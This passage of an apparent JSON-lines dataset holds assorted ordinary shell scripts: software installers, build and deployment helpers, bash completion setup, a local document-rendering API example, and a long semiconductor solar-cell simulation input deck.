\\\n --longoptions \"$(printf \"%s:,\" \"${ARGUMENT_LIST[@]}\")\" \\\n --name \"$(basename \"$0\")\" \\\n --options \"\" \\\n -- \"$@\"\n)\n# eval set -- \"$OPTS\"\nmessage=\"child-shell\"\nwhile [[ $# -gt 0 ]]; do\n case \"$1\" in\n --message ) message=\"$2\" ;;\n esac\n shift 2\ndone\n\necho $message"} {"text": "#!/bin/sh\n\nmodule load cuda/8.0.61\nmodule load cudnn/5.1"} {"text": "breadblog/serverscript/test_version.sh0\n#!/bin/bash\nmasterFile=\"./MasterMakefile\"\nbranchFile=\"./Makefile\"\n\nif [ -f $masterFile ]\nthen\n echo \"$masterFile found\"\nelse\n echo \"$masterFile not found\"\n exit 1\nfi\nif [ -f $branchFile ]\nthen\n echo \"$branchFile found\"\nelse\n echo \"$branchFile not found\"\n exit 1\nfi\n\nmasterVersion=$(make -f $masterFile version)\nbranchVersion=$(make -f $branchFile version)\n\nif [ \"$masterVersion\" = \"$branchVersion\" ]\nthen\n echo \"version has not changed\"\n exit 1\nelse\n echo \"version $masterVersion -> $branchVersion\"\nfi"} {"text": "#!/bin/bash\n\nwhich bitswarmbox || gem install bitswarmbox\n\nbitswarmbox build aws \\\n --name=\"bitswarm-base-debian-wheezy64\" \\\n --template=\"debian/wheezy64\" \\\n --description=\"Bitswarm base image bootstrap running Debian Jessie amd64\" \\\n --aws_region=\"us-west-1\" \\\n --aws_source_ami=\"ami-b4869ff1\" \\\n --puppet --bootstrap"} {"text": "0\n#!/usr/bin/env bash\n\nset -o errexit\nset -o pipefail\nset -o nounset\n\nREPO_ROOT=\"$(git rev-parse --show-toplevel)\"\nSERVER_HOME=\"${REPO_ROOT}/server\"\n\nmain() {\n cd \"${REPO_ROOT}\"\n python3 \"${SERVER_HOME}/server.py\" server\n}\n\nmain \"$@\""} {"text": "0\n#!/usr/bin/env bash\n\nwhich go || {\n # make sure apt database is up-to date\n apt-get update\n\n # install golang\n apt-get install -y snapd\n snap install go --classic --channel=1.10/stable\n\n # set base\n # if we are in sudo use the calling user\n # we use eval as ~ won't be expanded\n if [ \"${SUDO_USER}\" ]; then\n BASE=\"`eval echo ~${SUDO_USER}`\"\n else\n BASE=\"`eval echo ~`\"\n fi\n\n PROFILE=${BASE}/.bash_profile\n touch ${PROFILE}\n \n grep 'GOROOT' ${PROFILE} &>/dev/null || {\n mkdir -p ${BASE}/go\n chown -R ${SUDO_USER}: ${BASE}/go\n [ -f ${PROFILE} ] && cp ${PROFILE} ${PROFILE}.ori\n grep -v 'GOPATH|GOROOT' ${PROFILE}.ori | sudo tee -a ${PROFILE}\n echo 'export GOROOT=/snap/go/current' | sudo tee -a ${PROFILE}\n echo 'export PATH=$PATH:/snap/bin:$GOROOT/bin' | sudo tee -a ${PROFILE}\n echo 'export GOPATH=~/go' | sudo tee -a ${PROFILE}\n }\n\n if [ \"${SUDO_USER}\" ]; then\n [ -f ${PROFILE}.ori ] && chown ${SUDO_USER} ${PROFILE}.ori\n chown ${SUDO_USER} ${PROFILE}\n fi\n\n}"} {"text": "stop.sh\n#!/bin/bash\n\nCONTAINER=js-gorush\n\n# Stop a docker container\ndocker stop $CONTAINER > /dev/null 2>&1;"} {"text": "desc \"Tag search\"\n\nis_true use_fzf && enum fzf ' - use \":Tags\" from FZF' || true\nis_true unite_vim && enum unite '- use \":Unite tags\"' || true\nis_true ctrl_p && enum ctrlp '- use \":CtrlPTags\"' || true\n\nif multi_enum; then\n ask enum fuzzy_tags \"tags search with?\" 1\nelse\n fuzzy_tags=\"$(enum_value 1)\"\nfi\n\ncopy_files \"$(this_dir)/$fuzzy_tags\""} {"text": "#!/usr/bin/env bash\n################################################################################\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n################################################################################\n\nwhile getopts \"f:t:\" o; do\n case \"${o}\" in\n f)\n FLINK_ARTIFACT_DIR=${OPTARG};;\n t)\n TARGET_FOLDER_PARAMETER=\"-C ${OPTARG}\";;\n *)\n # no special treatment of invalid parameters necessary\n ;;\n esac\ndone\nshift $((OPTIND-1))\n\nif ! [ -e $FLINK_ARTIFACT_DIR ]; then\n echo \"Cached flink archive $FLINK_ARTIFACT_DIR does not exist. Exiting build.\"\n exit 1\nfi\n\necho \"Extracting build artifacts\"\ntar -xzf ${FLINK_ARTIFACT_DIR} ${TARGET_FOLDER_PARAMETER}\n\necho \"Adjusting timestamps\"\n# adjust timestamps of proto file to avoid re-generation\nfind . -type f -name '*.proto' | xargs touch\n# wait a bit for better odds of different timestamps\nsleep 5\n\n# adjust timestamps to prevent recompilation\nfind . -type f -name '*.java' | xargs touch\nfind . -type f -name '*.scala' | xargs touch\n# wait a bit for better odds of different timestamps\nsleep 5\nfind . -type f -name '*.class' | xargs touch\nfind . -type f -name '*.timestamp' | xargs touch"} {"text": "#!/usr/bin/env bash\n\nget_all=false\nwhile [[ \"$1\" =~ ^- && ! \"$1\" == \"--\" ]]; do case $1 in\n -n | --name )\n shift; name=$1\n ;;\n -a | --all)\n get_all=true\n ;;\nesac; shift; done\nif [[ \"$1\" == '--' ]]; then shift; fi\n\necho \"Getting ${name}...\"\n\nroot=\"/home/wenlidai/msc-project/\"\npath=\"${root}${name}\"\n\nif [ ! -d $name ]; then\n mkdir $name\nfi\n\nif $get_all; then\n scp wise:$path ./$name\nelse\n scp wise:\"${path}/saved_loss.p ${path}/saved_accuracy.p\" ./$name\nfi\n\necho \"Done!\""} {"text": "File=\"MAIN__${opfile}.in\"\n\ncat<>${File}\n\n# (c) Silvaco Inc., 2017\n\n\n##########################\n## 0. Custom Parameters ##\n##########################\n\nset Interface_ITO_aSi_p__Thickness__Custom=0.005\n\n#set aSi_p__Carrier_Density__Custom=1e21\n\nset Mesh_Spacing_1__Custom=1e-4\n#set Mesh_Spacing_2__Custom=1e-1\nset Mesh_Spacing_2x__Custom=1e-1\nset Mesh_Spacing_2y__Custom=1e-4\n\nset QTY_MESH__1__Custom_Izak=0.00075\nset QTY_MESH__2__Custom_Izak=0.00015\n\nset QTY_MESH__1__Custom_Brad=0.00015\n#set QTY_MESH__2__Custom_Brad=0.00015\n\n###################\n## 1. Parameters ##\n###################\n\n#############################\n## 1.1 Material Parameters ##\n#############################\n\n#############################\n## 1.1.1 Amorphous Silicon ##\n#############################\n\n#set aSi__mu_n=0.5\n#set aSi__mu_p=0.1\nset aSi_taun0=1e-6\nset aSi_taup0=1e-6\n#set aSi_Nc300=2.5e20\n#set aSi_Nv300=2.5e20\n\n###############################\n## 1.1.2 Material Parameters ##\n###############################\n\n#############################################\n## 1.1.2.a Web Definitions ##\n## Format: ____ ##\n#############################################\n\n#####################################################\n## 1.1.2.b Author Definitions ##\n## Format: ____ ##\n#####################################################\n\n###############################\n## Preduymna - Thesis - 2019 ##\n###############################\n\n## aSi:H(p)\nset aSi_p__Affinity__Preduymna2019=3.9\nset aSi_p__Eg300__Preduymna2019=1.72\nset aSi_p__nc300__Preduymna2019=2.5E20\nset aSi_p__nv300__Preduymna2019=2.5E20\nset aSi_p__mu_n__Preduymna2019=0.5\nset aSi_p__mu_p__Preduymna2019=0.1\nset aSi_p__Doping__Preduymna2019=1.8e20\nset aSi_p__Thickness__Preduymna2019=0.015\n\n## aSi:H(i)\nset aSi_i__Affinity__Preduymna2019=3.9\nset aSi_i__Eg300__Preduymna2019=1.70\nset aSi_i__nc300__Preduymna2019=2.5E20\nset aSi_i__nv300__Preduymna2019=2.5E20\nset aSi_i__mu_n__Preduymna2019=0.5\nset aSi_i__mu_p__Preduymna2019=0.1\nset aSi_i__Doping__Preduymna2019=1e14\nset aSi_i__Thickness__Preduymna2019=0.01\n\n## aSi:H(n)\nset aSi_n__Affinity__Preduymna2019=3.9\nset aSi_n__Eg300__Preduymna2019=1.72\nset aSi_n__nc300__Preduymna2019=2.5E20\nset aSi_n__nv300__Preduymna2019=2.5E20\nset aSi_n__mu_n__Preduymna2019=0.5\nset aSi_n__mu_p__Preduymna2019=0.1\nset aSi_n__Doping__Preduymna2019=1.8e20\nset aSi_n__Thickness__Preduymna2019=0.015\n\n## cSi\nset cSi__Affinity__Preduymna2019=4.05\nset cSi__Eg300__Preduymna2019=1.12\nset cSi__nc300__Preduymna2019=2.28E19\nset cSi__nv300__Preduymna2019=1.04E19\nset cSi__mu_n__Preduymna2019=800\nset cSi__mu_p__Preduymna2019=400\nset cSi__Doping__Preduymna2019=5e15\nset cSi__Thickness__Preduymna2019=180\n\n## ITO\nset ITO__Affinity__Preduymna2019=4.5\nset ITO__Eg300__Preduymna2019=3.7\nset ITO__nc300__Preduymna2019=7.91e17\nset ITO__nv300__Preduymna2019=7.91e17\nset ITO__mu_n__Preduymna2019=50\nset ITO__mu_p__Preduymna2019=50\nset ITO__Doping__Preduymna2019=1e20\nset ITO__Thickness__Preduymna2019=0.07\n\n\n#####################################\n## Kanevce - Research Paper - 2009 ##\n#####################################\n\n## aSi:H(p)\nset aSi_p__Thickness__Kanevce2009=0.005\nset aSi_p__Eg300__Kanevce2009=1.67\nset aSi_p__Affinity__Kanevce2009=3.95\nset aSi_p__Carrier_Density__Kanevce2009=1e19\nset aSi_p__mu_n__Kanevce2009=1\nset aSi_p__mu_p__Kanevce2009=0.01\n\n## aSi:H(i)\nset aSi_i__Thickness__Kanevce2009=0.005\nset aSi_i__Eg300__Kanevce2009=1.67\nset aSi_i__Affinity__Kanevce2009=3.95\nset aSi_i__Carrier_Density__Kanevce2009=1e13\nset aSi_i__mu_n__Kanevce2009=1\nset aSi_i__mu_p__Kanevce2009=0.01\n\n## aSi:H(n)\nset aSi_n__Thickness__Kanevce2009=0.005\nset aSi_n__Eg300__Kanevce2009=1.67\nset aSi_n__Affinity__Kanevce2009=3.95\nset aSi_n__Carrier_Density__Kanevce2009=1e19\nset aSi_n__mu_n__Kanevce2009=1\nset aSi_n__mu_p__Kanevce2009=0.01\n\n## cSi\nset cSi__Thickness__Kanevce2009=250\nset cSi__Eg300__Kanevce2009=1.12\nset cSi__Affinity__Kanevce2009=4.05\nset cSi__Carrier_Density__Kanevce2009=1e16\nset cSi__mu_n__Kanevce2009=1500\nset cSi__mu_p__Kanevce2009=450\n\n## ITO\nset ITO__Thickness__Kanevce2009=0.07\nset ITO__Eg300__Kanevce2009=3.7\nset ITO__Affinity__Kanevce2009=4.5\nset ITO__Carrier_Density__Kanevce2009=1e20\nset ITO__mu_n__Kanevce2009=50\nset ITO__mu_p__Kanevce2009=30\n\n##############################\n## 1.1.3 Applied Parameters ##\n##############################\n\n## Interface ITO - aSi:H(p)\nset Interface__ITO_aSi_p__Thickness=$\"Interface_ITO_aSi_p__Thickness__Custom\"\n\n## aSi:H(p)\nset aSi_p__Affinity=$\"aSi_p__Affinity__Kanevce2009\"\nset aSi_p__Eg300=$\"aSi_p__Eg300__Kanevce2009\"\nset aSi_p__nc300=$\"aSi_p__nc300__Preduymna2019\"\nset aSi_p__nv300=$\"aSi_p__nv300__Preduymna2019\"\nset aSi_p__mu_n=$\"aSi_p__mu_n__Kanevce2009\"\nset aSi_p__mu_p=$\"aSi_p__mu_p__Kanevce2009\"\nset aSi_p__Doping=$\"aSi_p__Doping__Preduymna2019\"\nset aSi_p__Thickness=$\"aSi_p__Thickness__Preduymna2019\"\n\n\n## aSi:H(i)\nset aSi_i__Affinity=$\"aSi_i__Affinity__Kanevce2009\"\nset aSi_i__Eg300=$\"aSi_i__Eg300__Kanevce2009\"\nset aSi_i__nc300=$\"aSi_i__nc300__Preduymna2019\"\nset aSi_i__nv300=$\"aSi_i__nv300__Preduymna2019\"\nset aSi_i__mu_n=$\"aSi_i__mu_n__Kanevce2009\"\nset aSi_i__mu_p=$\"aSi_i__mu_p__Kanevce2009\"\nset aSi_i__Doping=$\"aSi_i__Carrier_Density__Kanevce2009\"\nset aSi_i__Thickness=$\"aSi_i__Thickness__Preduymna2019\"\n\n## aSi:H(n)\nset aSi_n__Affinity=$\"aSi_n__Affinity__Kanevce2009\"\nset aSi_n__Eg300=$\"aSi_n__Eg300__Kanevce2009\"\nset aSi_n__nc300=$\"aSi_n__nc300__Preduymna2019\"\nset aSi_n__nv300=$\"aSi_n__nv300__Preduymna2019\"\nset aSi_n__mu_n=$\"aSi_n__mu_n__Kanevce2009\"\nset aSi_n__mu_p=$\"aSi_n__mu_p__Kanevce2009\"\nset aSi_n__Doping=$\"aSi_n__Carrier_Density__Kanevce2009\"\nset aSi_n__Thickness=$\"aSi_n__Thickness__Preduymna2019\"\n\n## cSi\nset cSi__Affinity=$\"cSi__Affinity__Kanevce2009\"\nset cSi__Eg300=$\"cSi__Eg300__Kanevce2009\"\nset cSi__nc300=$\"cSi__nc300__Preduymna2019\"\nset cSi__nv300=$\"cSi__nv300__Preduymna2019\"\nset cSi__mu_n=$\"cSi__mu_n__Kanevce2009\"\nset cSi__mu_p=$\"cSi__mu_p__Kanevce2009\"\nset cSi__Doping=$\"cSi__Carrier_Density__Kanevce2009\"\nset cSi__Thickness=$\"cSi__Thickness__Preduymna2019\"\n\n## ITO\nset ITO__Affininty=$\"ITO__Affinity__Kanevce2009\"\nset ITO__Eg300=$\"ITO__Eg300__Kanevce2009\"\nset ITO__nc300=$\"ITO__nc300__Preduymna2019\"\nset ITO__nv300=$\"ITO__nv300__Preduymna2019\"\nset ITO__mu_n=$\"ITO__mu_n__Kanevce2009\"\nset ITO__mu_p=$\"ITO__mu_p__Kanevce2009\"\nset ITO__Doping=$\"ITO__Carrier_Density__Kanevce2009\"\nset ITO__Thickness=$\"ITO__Thickness__Preduymna2019\"\n\n#########################\n## 1.2 MESH PARAMETERS ##\n#########################\n\n########################\n## 1.2.1 Mesh Spacing ##\n########################\n\n##########################\n## Notes: ##\n## vc - Very Coarse ##\n## c - Coarse ##\n## n - Normal ##\n## f - Fine ##\n## vf - Very Fine ##\n## vvf - Very Very Fine ##\n##########################\n\nset Mesh_Value=8\n\nset vc_Mesh=1e0*$\"Mesh_Value\"\nset c_Mesh=1e-1*$\"Mesh_Value\"\nset n_Mesh=1e-2*$\"Mesh_Value\"\nset f_Mesh=1e-3*$\"Mesh_Value\"\nset vf_Mesh=1e-4*$\"Mesh_Value\"\nset vvf_Mesh=1e-5*$\"Mesh_Value\"\n\n#########################\n## 1.2.2 Mesh Location ##\n#########################\n\n####################################\n## 1.2.2.a Pre-Defined Parameters ##\n####################################\n\n#set ITO__Thickness=0.07\n#set aSi_p__Thickness=0.005\n#set aSi_i__Thickness=0.005\nset cSi__Thickness=0.8\nset Interface__Thickness=0.005\n\n######################################\n## 1.2.2.b Create Mesh From 1.2.2.a ##\n######################################\n\nset y_position__ITO_1=$\"ITO__Thickness\"\nset y_position__asi_p=$\"y_position__ITO_1\"+$\"aSi_p__Thickness\"\nset y_position__asi_i_1=$\"y_position__asi_p\"+$\"aSi_i__Thickness\"\n\nset y_position__interface_1_upper=$\"y_position__asi_i_1\"-$\"Interface__Thickness\"\nset y_position__interface_1_lower=$\"y_position__asi_i_1\"+$\"Interface__Thickness\"\n\nset y_position__csi=$\"y_position__asi_i_1\"+$\"cSi__Thickness\"\n\nset y_position__interface_2_upper=$\"y_position__csi\"-$\"Interface__Thickness\"\nset y_position__interface_2_lower=$\"y_position__csi\"+$\"Interface__Thickness\"\n\nset y_position__asi_i_2=$\"y_position__csi\"+$\"aSi_i__Thickness\"\nset y_position__asi_n=$\"y_position__asi_i_2\"+$\"aSi_p__Thickness\"\nset y_position__ITO_2=$\"y_position__asi_n\"+$\"ITO__Thickness\"\n\n\n###########################\n## 1.3 Doping Parameters ##\n###########################\n\n#############################\n## 1.3.a Gaussian Profiles ##\n#############################\n\nset y_position__asi_p_Gauss_peak = ($\"y_position__asi_p\"+$\"y_position__ITO_1\")/2\nset y_position__asi_p_Gauss_sigma = ($\"aSi_p__Thickness\")/4\n\nset y_position__asi_i_1_Gauss_peak = ($\"y_position__asi_i_1\"+$\"y_position__asi_p\")/2\nset y_position__asi_i_1_Gauss_sigma = ($\"aSi_i__Thickness\")/4\n\nset y_position__asi_i_2_Gauss_peak = ($\"y_position__asi_i_2\"+$\"y_position__csi\")/2\nset y_position__asi_i_2_Gauss_sigma = ($\"aSi_i__Thickness\")/4\n\nset y_position__asi_n_Gauss_peak = ($\"y_position__asi_n\"+$\"y_position__asi_i_2\")/2\nset y_position__asi_n_Gauss_sigma = ($\"aSi_p__Thickness\")/4\n\n#############################\n######### GO ATLAS ##########\n#############################\n\ngo atlas \n\n#############\n## 2. MESH ##\n#############\n\nmesh \n\nx.mesh location=0 spacing=$\"f_Mesh\"*5\nx.mesh location=1 spacing=$\"f_Mesh\"*5\n\ny.mesh location=0 spacing=$\"f_Mesh\"\ny.mesh location=$\"y_position__ITO_1\" spacing=$\"Mesh_Spacing_1__Custom\"\ny.mesh location=$\"y_position__asi_p\" spacing=$\"Mesh_Spacing_1__Custom\"\ny.mesh location=$\"y_position__asi_i_1\" spacing=$\"Mesh_Spacing_1__Custom\"\ny.mesh location=$\"y_position__csi\" spacing=$\"n_Mesh\"\ny.mesh location=$\"y_position__asi_i_2\" spacing=$\"Mesh_Spacing_1__Custom\"\ny.mesh location=$\"y_position__asi_n\" spacing=$\"Mesh_Spacing_1__Custom\"\ny.mesh location=$\"y_position__ITO_2\" spacing=$\"Mesh_Spacing_1__Custom\"\n\n\n################\n## 3. Regions ##\n#######################\n## 3.1 Region - ITO - 1\n#######################\nregion number=1 user.material=ITO_2 y.min=0 y.max=$\"y_position__ITO_1\"\n\n#########################\n## 3.2 Region - aSi:H(p)\n#########################\nregion number=2 user.material=paSi y.min=$\"y_position__ITO_1\" y.max=$\"y_position__asi_p\"\n\n#####################################\n## 3.3 Region - aSi:H(i) - 1\n#####################################\nregion number=3 user.material=iaSi y.min=$\"y_position__asi_p\" y.max=$\"y_position__asi_i_1\"\n\n###################\n## 3.4 Region - cSi\n###################\nregion number=4 material=Si y.min=$\"y_position__asi_i_1\" y.max=$\"y_position__csi\"\n\n#####################################\n## 3.5 Region - aSi:H(i) - 2\n#####################################\nregion number=5 user.material=iaSi y.min=$\"y_position__csi\" y.max=$\"y_position__asi_i_2\"\n\n#########################\n## 3.6 Region - aSi:H(n)\n#########################\nregion number=6 user.material=naSi y.min=$\"y_position__asi_i_2\" y.max=$\"y_position__asi_n\"\n\n#######################\n## 3.7 Region - ITO - 2\n#######################\nregion number=7 user.material=ITO_2 y.min=$\"y_position__asi_n\" y.max=$\"y_position__ITO_2\"\t\n\n###################\n## 4. Electrodes ##\n###################\nelectrode num=1 name=anode x.max=0.25 y.max=0\nelectrode num=2 name=cathode y.min=$\"y_position__ITO_2\" y.max=$\"y_position__ITO_2\"+0.005 \n\n#############################\n## Band to Band Tunnelling ##\n#############################\n\nQTX.MESH LOCATION=0.0 SPACING=$\"Mesh_Spacing_2x__Custom\"\nQTX.MESH LOCATION=1.0 SPACING=$\"Mesh_Spacing_2x__Custom\"\n\n# Izak\n#QTY.MESH LOCATION=0.065 SPACING=0.001\n#QTY.MESH LOCATION=0.108 SPACING=0.0005\n#QTY.MESH LOCATION=0.113 SPACING=0.001\n\n# Izak Adjusted\n#QTY.MESH LOCATION=0.06 SPACING=$\"QTY_MESH__1__Custom_Izak\"\n#QTY.MESH LOCATION=0.095 SPACING=$\"QTY_MESH__2__Custom_Izak\"\n#QTY.MESH LOCATION=0.113 SPACING=$\"QTY_MESH__1__Custom_Izak\"\n\n# Brad Adjusted\nQTY.MESH LOCATION=0.08 SPACING=$\"QTY_MESH__1__Custom_Brad\"\nQTY.MESH LOCATION=0.09 SPACING=$\"QTY_MESH__1__Custom_Brad\"\n\n###############\n## 5. Doping ##\n###############\n\n########################\n## 5.1 Uniform Doping ##\n########################\ndoping uniform n.type concentration=$\"ITO__Doping\" region=1\ndoping uniform p.type concentration=$\"aSi_p__Doping\" region=2\ndoping uniform n.type concentration=$\"aSi_i__Doping\" region=3\ndoping uniform n.type concentration=$\"cSi__Doping\" region=4\ndoping uniform n.type concentration=$\"aSi_i__Doping\" region=5\ndoping uniform n.type concentration=$\"aSi_n__Doping\" region=6\ndoping uniform n.type concentration=$\"ITO__Doping\" region=7\n\n#########################\n## 5.2 Gaussian Doping ##\n#########################\n#doping gauss peak=$y_position__asi_p_Gauss_peak char=$y_position__asi_p_Gauss_sigma conc=1.8e20 p.type dir=y\n#doping gauss peak=$y_position__asi_i_1_Gauss_peak char=$y_position__asi_i_1_Gauss_sigma conc=1e14 n.type dir=y\n#doping gauss peak=$y_position__asi_i_2_Gauss_peak char=$y_position__asi_i_2_Gauss_sigma conc=1e14 n.type dir=y\n#doping gauss peak=$y_position__asi_n_Gauss_peak char=$y_position__asi_n_Gauss_sigma conc=1.8e20 n.type dir=y\n\n\n###############################\n## 6. Material Specification ##\n###############################\n## 6.1 Material - ITO ##\n#######################################################################\n## Here we indicate that the default complex index of refraction for ##\n## ITO will use the data from the Sopra database ##\n#######################################################################\nmaterial mat=ITO sopra=Ito2.nk\n\nmaterial mat=ITO_2 user.default=Poly user.group=semiconductor affinity=$\"ITO__Affininty\" Eg300=$\"ITO__Eg300\" \\\nmun=$\"ITO__mu_n\" mup=$\"ITO__mu_p\" nc300=$\"ITO__nc300\" nv300=$\"ITO__nv300\" sopra=Ito2.nk\n\n######################################\n## 6.2 Material - Amorphous Silicon ##\n######################################\n\nmaterial mat=iaSi user.default=Poly user.group=semiconductor affinity=$\"aSi_i__Affinity\" Eg300=$\"aSi_i__Eg300\" permittivity=11.9 taun0=$\"aSi_taun0\" \\\ntaup0=$\"aSi_taup0\" mun=$\"aSi_i__mu_n\" mup=$\"aSi_i__mu_p\" index.file=nk.iaSi_Holman2012\nmaterial mat=naSi user.default=Poly user.group=semiconductor affinity=$\"aSi_n__Affinity\" Eg300=$\"aSi_n__Eg300\" permittivity=11.9 taun0=$\"aSi_taun0\" \\\ntaup0=$\"aSi_taup0\" mun=$\"aSi_n__mu_n\" mup=$\"aSi_n__mu_p\" index.file=nk.naSi_Holman2012\nmaterial mat=paSi user.default=Poly user.group=semiconductor affinity=$\"aSi_p__Affinity\" Eg300=$\"aSi_p__Eg300\" permittivity=11.9 taun0=$\"aSi_taun0\" \\\ntaup0=$\"aSi_taup0\" mun=$\"aSi_p__mu_n\" mup=$\"aSi_p__mu_p\" index.file=nk.paSi_Holman2012\n\nmaterial mat=Si sopra=Si100_2.nk\n\n#############################\n## 7. Defect Specification ##\n#############################\n\n########################################\n## 7.1 Defect | a-Si:H(p) | a-Si:H(i) ##\n########################################\nodefects hopping cont nia=${aSi__nia} nid=${aSi__nid} na=${aSi__na} nd=${aSi__nd} \\\n sigmaia=${aSi__sigmaia} sigmaid=${aSi__sigmaid} sigmaa=${aSi__sigmaa} sigmad=${aSi__sigmad} \\\n x.min=0.0 x.max=1.0 y.min=$\"y_position__ITO_1\" y.max=$\"y_position__asi_i_1\" \\\n numa=48 numd=48\n\n\n#################################\n## 7.2 Defect | a-Si:H(i)/c-Si ##\n#################################\n#odefects hopping cont nia=${cSiaSi__nia} nid=${cSiaSi__nid} na=${cSiaSi__na} nd=${cSiaSi__nd} \\\n sigmaia=${cSiaSi__sigmaia} sigmaid=${cSiaSi__sigmaid} sigmaa=${cSiaSi__sigmaa} sigmad=${cSiaSi__sigmad} \\\n x.min=0.0 x.max=1.0 y.min=$\"y_position__interface_1_upper\" y.max=$\"y_position__interface_1_lower\" \\\n numa=48 numd=48\n\n#################################\n## 7.3 Defect | c-Si/a-Si:H(i) ##\n#################################\n#odefects hopping cont nia=${cSiaSi__nia} nid=${cSiaSi__nid} na=${cSiaSi__na} nd=${cSiaSi__nd} \\\n sigmaia=${cSiaSi__sigmaia} sigmaid=${cSiaSi__sigmaid} sigmaa=${cSiaSi__sigmaa} sigmad=${cSiaSi__sigmad} \\\n x.min=0.0 x.max=1.0 y.min=$\"y_position__interface_2_upper\" y.max=$\"y_position__interface_2_lower\" \\\n numa=48 numd=48\n\n########################################\n## 7.4 Defect | a-Si:H(i) | a-Si:H(n) ##\n########################################\nodefects hopping cont nia=${aSi__nia} nid=${aSi__nid} na=${aSi__na} nd=${aSi__nd} \\\n sigmaia=${aSi__sigmaia} sigmaid=${aSi__sigmaid} sigmaa=${aSi__sigmaa} sigmad=${aSi__sigmad} \\\n x.min=0.0 x.max=1.0 y.min=$\"y_position__csi\" y.max=$\"y_position__asi_n\" \\\n numa=48 numd=48\n\n###############\n## 8. Models ##\n###############\n#models srh auger fermi bgn print bbt.nonlocal\n#models srh fermi ni.fermi optr auger bgn conmob bbt.nonlocal bbt.nlderivs\n#models srh auger fermi bgn print bbt.nonlocal bbt.nlderivs\n#models srh auger fermi bgn print bbt.nonlocal bbt.nlderivs qtunn.dir=0\n#models srh auger fermi bgn print\n#model bqp.n bqp.ngamma=0.4\n#model material=silicon conmob\nmodels temperature=300 srh fermi ni.fermi bgn print bbt.nonlocal bbt.nlderivs qtunn.dir=0\n\n##############\n## 9. Solve ##\n##############\n#output con.band val.band band.para\noutput con.band val.band band.para u.srh u.aug flowlines opt.int charge traps u.trap photogen\n\n#method traps maxtraps=10 climit=1.0 dvmax=0.005\n#method itlimit=30 maxtraps=10\n#method newton carriers=1 electron\nmethod newton traps maxtraps=10 climit=1.0 dvmax=0.005\n\nlog outf=hitex04_00__${opfile}__00.log\nsolve init\nsave outf=hitex04_00__${opfile}__00.str\n\nlog outf=hitex04_01__${opfile}__00.log\nsolve name=anode vanode=0.10 vstep=-0.0050 vfinal=0\n#solve name=anode vanode= .02 vstep=-0.0005 vfinal=-0.02\n#solve name=anode vanode=-.02 vstep=-0.0050 vfinal=-0.10\nsave outf=hitex04_01__${opfile}__00.str\n\n#beam num=1 x.o=0.5 y.o=-2.0 AM1.5 verbose tr.matrix\n#solve b1=1/1000\n#solve b1=1/100\n#solve b1=1/10\n#solve b1=1\n#save outf=hitex04_01__${opfile}.str\n\n#tonyplot hitex04_01__${opfile}.str\n\n##################################################\n## 9.1 Solve using Potential Range of 0 to 0.75 ##\n##################################################\nlog outf=hitex04_02__${opfile}.log\nsolve vanode=-0.7 name=anode vstep=0.05 vfinal=0.7\nsave outf=hitex04_02__${opfile}.str\n\n#################\n## 10 Tonyplot ##\n#################\n\n#tonyplot hitex04_02__${opfile}.log\nEOT"} {"text": "#!/bin/bash\n\n#python /home/pi/SDP-2018/Rpi/Alexa/AlexaPanel.py > /tmp/rc.local.log"} {"text": "# heroku completion\ncomplete_heroku() {\n command -v heroku &> /dev/null \\\n && eval \"$(heroku autocomplete:script bash)\"\n}\n\n# travis completion\ncomplete_travis() {\n command -v travis &> /dev/null \\\n && [[ -f ~/.travis/travis.sh ]] \\\n && source ~/.travis/travis.sh\n}\n\n_pip_completion()\n{\n COMPREPLY=( $( COMP_WORDS=\"${COMP_WORDS[*]}\" \\\n COMP_CWORD=$COMP_CWORD \\\n PIP_AUTO_COMPLETE=1 $1 ) )\n}\ncomplete -o default -F _pip_completion pip3\n\n\n# vault completion\nvault_path=\"$(command -v vault)\"\nif [[ -n \"$vault_path\" ]] ; then\n complete -C \"$vault_path\" vault\nfi\nunset vault_path"} {"text": "#! /usr/bin/env bash\n\n# Examples below are using a locally running docker image without keycloak.\n\n# This uploads a template to CDOGS, caches it for later rendering, and returns a resulting template hash.\ntemplate_hash=$(curl -v -F template= http://localhost:3000/api/v2/template)\n\necho \"template_hash $template_hash\"\n\n# Response body is a template string ex.\n# bffe2a344ec1f8fb4fc1a1496df4ca29277da310f64eaa8748a1888b7a2198c5\n\n# If the template is already cached an error is returned:\n# template_hash {\n# \"type\":\"https://httpstatuses.com/405\",\n# \"title\":\"Method Not Allowed\",\n# \"status\":405,\n# \"detail\":\"File already cached. Hash 'bffe2a344ec1f8fb4fc1a1496df4ca29277da310f64eaa8748a1888b7a2198c5'.\"\n# }\n\n# This sends data to CDOGS so that our template.txt can be rendered out to file test.pdf.\ncurl --request POST \\\n --url \"http://localhost:3000/api/v2/template/$template_hash/render\" \\\n -H 'content-type: application/json' \\\n -o 'test.pdf' \\\n --data-binary @- << EOF\n{\n \"data\": {\n \"firstName\": \"Joe\",\n \"lastName\": \"Smith\"\n },\n \"options\": {\n \"cacheReport\": false,\n \"convertTo\": \"pdf\",\n \"overwrite\": true,\n \"reportName\": \"{d.firstName}_{d.lastName}.pdf\"\n }\n}\nEOF"} {"text": "oskar-taubert/pydca10-100\n#!/usr/bin/env bash\n\n#----------------------------------------\n# Installs the current version of pydca from PyPI \n# into the current user's home directory\n# ---------------------------------------\n\nMINIMUM_PYTHON_VERSION='3.5'\nMINIMUM_PYTHON_VERSION_COMPARE=35\necho \"Python 3 minimum version required: ${MINIMUM_PYTHON_VERSION}\"\nif command -v python3 &> /dev/null; then\n\tPYTHON_VERSION=$(python -c 'import sys; version=sys.version_info[:3]; print(\"{0}.{1}\".format(*version))')\n\tPYTHON_VERSION_COMPARE=$(python -c 'import sys; version=sys.version_info[:3]; print(\"{0}{1}\".format(*version))')\n\tif [ \"${PYTHON_VERSION_COMPARE}\" -lt \"${MINIMUM_PYTHON_VERSION_COMPARE}\" ]; then \n\t\t\techo \"ERROR: You have older Python version: version=${PYTHON_VERSION}\"\n\telse\n\t\techo \"Python 3 version found: ${PYTHON_VERSION}\"\n\t\techo 'installing pydca'\n\t\tpip install pydca\n\tfi\nelse \n\techo 'You need 